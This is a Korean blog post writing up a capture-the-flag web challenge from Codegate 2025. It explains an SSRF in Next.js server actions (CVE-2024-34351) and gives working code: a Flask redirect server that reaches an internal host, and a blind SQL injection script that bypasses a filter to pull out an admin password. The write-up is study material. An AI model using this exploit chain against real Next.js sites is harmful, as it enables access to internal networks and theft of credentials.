본문 바로가기

Codegate2025-공부

1. hide-and-seek(web)

https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps

 

Digging for SSRF in NextJS apps

At Assetnote, we encounter sites running NextJS extremely often; in this blog post we will detail some common misconfigurations we find in NextJS websites, along with a vulnerability we found in the framework.

www.assetnote.io

await fetch를 통해 요청시 해당버전의 nextjs의 경우
문제의 external/src/app/actions.ts 파일에 use server 와 redirect 존재 CVE-2024-34351 조건 만족을한다. 

const host = req.headers['host']
const proto =
  staticGenerationStore.incrementalCache?.requestProtocol || 'https'
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

대충 문제가 되는 next js의 부분이다. host를 localhost의 값으로 변조시 ssrf가 일어난다는 내용

 

또한

try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        // .. snip ..
        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      // .. snip ..
    }

서버체크용으로 head요청을 하게되는데 여기서 Content-Type 헤더가 RSC_CONTENT_TYPE_HEADER 즉 text/x-component일 경우 get요청을 통해 한번더 await fetch를 한다.

 

이점을 이용해서 

from flask import Flask, Response, request, redirect
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    sqli = request.headers.get('SQLI',"")
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect(f'http://192.168.200.120:808')
    #return redirect(f'http://192.168.200.120:808/login')
    #return redirect(f'http://192.168.200.120:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username={sqli}&password=guest')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888, debug=False)

 

다음과 같이 head요청시엔 text/x-component를 반환해 get요청을 하게만들고 get이 올때 192.168.200.120과같은 내부망을 입력해 접근한다.

그러면 다음과같이 /login의 소스코드가 반환이되고 blind sql injection을 진행해주면된다.

 

import requests
import string
import time

Host = ""
Origin = ""

charTable = "01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"

columns = []

def packet(payload):

    headers = {
        "Host": Host,
        "Content-Length": "4",
        "Next-Action": "6e6feac6ad1fb92892925b4e3766928a754aec71",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
        "Accept": "text/x-component",
        "Content-Type": "text/plain;charset=UTF-8",
        "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
        "Origin": Origin,
        "Sec-GPC": "1",
        "Accept-Language": "ko-KR,ko;q=0.8",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "SQLI": payload
    }
    
    return headers

def sqli():
    
    flag = ""
    check=0
    for i in range(1, 100):
        check=0
        for c in charTable:
            payload = f"hack' || SUBSUBSTRSTR((SELECT passwopasswordorrd FROM users WHERE userusernamename='adadminmin'), {i}, 1)='{c}' -- foo"
            headers = packet(payload)
            url = f"http://문제ip"
            res = requests.post(url, headers=headers, data="{}")
            print(res.text)
            if "Welcome! aaa, You are not admin." in res.text:
                flag += c
                print(f"flag: {flag}")
                check=1
                continue
            if check==0 and c=="}":
                return 0





if __name__ == "__main__":

    print("Blind SQL Injection 테스트 시작...")
    
    try:
        sqli()
    except KeyboardInterrupt:
        print("\n테스트가 사용자에 의해 중단되었습니다.")
    except Exception as e:
        print(f"오류 발생: {e}")

'' 카테고리의 다른 글

nodejs로 파일 업로드 필터링 우회 방법  (0) 2025.04.09
dicectf-web-공부  (0) 2025.04.08
codegate 2025-Masquerade  (0) 2025.03.30
WACon2022-Kuncɛlan 공부  (4) 2022.06.29
Spring 삽질  (0) 2022.06.28